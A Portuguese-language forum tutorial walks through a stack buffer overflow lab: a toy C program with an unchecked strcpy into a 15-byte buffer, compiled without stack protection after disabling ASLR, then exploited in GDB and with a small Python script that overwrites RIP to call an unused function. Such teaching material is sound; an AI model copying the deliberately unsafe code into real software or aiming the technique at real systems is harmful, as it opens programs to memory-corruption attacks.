Jump to content

Buffer Overflow - Executando uma função que não é chamada na execução do programa.


0xdutra
 Share

Recommended Posts

Neste exemplo, vou utilizar um binário compilado para x86_x64. Porém, o mesmo exemplo pode ser reproduzido num ambiente x86, basta prestar atenção nos registradores.

Antes de iniciarmos, desabilite o ASLR.

sudo su - 
echo 0 > /proc/sys/kernel/randomize_va_space

Código fonte

Crie um arquivo main.c com o código abaixo.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int copytobuffer(char *input)
{
	char buffer[15];
	strcpy(buffer, input);

	return 0;
}

void letsprint()
{
	printf("0xdutra.com");
	exit(0);
}

int main(int argc, char *argv[])
{
	copytobuffer(argv[1]);
	return 0;
}

Repare que nosso programa não chama a função letsprint em nenhum momento. Vamos chamar ela atráves da exploração do buffer overflow.

Compilando o binário

Para compilar, vamos utilizar o GCC, caso não o tenha instalado, rode sudo apt install gcc.

gcc -fno-stack-protector -z execstack main.c -o main

Exploração

A exploração é bem simples, só precisamos controlar a execução do registrador RIP. também conhecido como EIP em ambientes x86. o RIP é o registrador responsável por controlar a próxima instrusão que será executada pela CPU.

Vamos utilizar o GDB para analisarmos o binário, caso não o tenha instalado, rode sudo apt install gdb.

gdb -q main

Agora, vamos precisar encontrar a quantidade de bytes necessário para sobreescrever os registradores até chegarmos no RIP. Como não estamos utilizando nenhuma ferramenta de fuzzing, o processo vai ser bem manual, aconselho você começar a partir dos 20 bytes, visto que nosso buffer possui 15 bytes de tamanho.

Com o gdb aberto, rode o comando abaixo.

run `perl -e 'print "A" x 20'`

buffer_overflow_x64_1.thumb.png.5e23f50b02fcf02f7300cd8af9ad8656.png

No meu caso, não foi o suficiente para sobreescrever o RIP, porém, conseguimos sobreescrever o RBP, isso signifca que estamos indo para o caminho certo, vamos aumentar mais alguns bytes.

Novamente, com o gdb aberto, rode o comando abaixo.

run `perl -e 'print "A" x 23'`

buffer_overflow_x64_2.thumb.png.e95b3f0ebd1ee54cb5bd275bf0a5b251.png

Olha que interessante, achamos a quantidade exata de bytes para começar a escrever dados no registrador RIP, veja que ele está apontando para um byte nulo. Agora, podemos colocar qualquer coisa no registrador.

Testando o controle do registrador.

run `perl -e 'print "A" x 23 ; print "B" x 6'`

buffer_overflow_x64_3.thumb.png.5ffa94f53c33b0745df21f8c3e020a60.png

Veja que agora no RIP aponta para um endereço x4242…que são exatamente os 6 bytes ‘B’ que colocamos no registrador.

Descobrindo o endereço da função

Continuando no GDB, vamos precisar descobrir o endereço da função que vamos colocar no RIP para ser executada.

Utilize o comando abaixo.

disass letsprint

buffer_overflow_x64_4.thumb.png.e29b8a290f5b6370d7047e10a27c46b6.png

No meu caso, o endereço de memória do início da função letsprint é o 0x000055555555517b.

Em outro terminal, criei um arquivo memory.py e cole o conteúdo abaixo.

#!/usr/bin/python

from struct import *

buffer = b''
buffer += b'a' * 23
buffer += pack("<Q", 0x000055555555517b)


f = open("input.txt", "w+")
f.write(buffer)
f.write('\n')

Lembra-se de trocar o endereço 0x000055555555517b pelo endereço que você encontrou.

Execute o comando python memory.py, um arquivo input.txt será criado no diretório que você está.

Agora, no gdb, execute o comando abaixo.

run $(cat input.txt)

buffer_overflow_x64_5.thumb.png.55629637d6ece50ea93850f475c6c943.png

Veja que a função letsprint foi executada com sucesso. Agora, vamos sair do gdb e executar o programa que compilamos.

quit

Agora

./main $(cat input.txt)

buffer_overflow_x64_6.thumb.png.6752fc8754ac16ccc76fda08994fe987.png

Referências

  • Hacking - The Art of Exploitation (Jon Erickson)

 

 

Edited by 0xdutra
  • Curtir 1
  • l33t 1
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...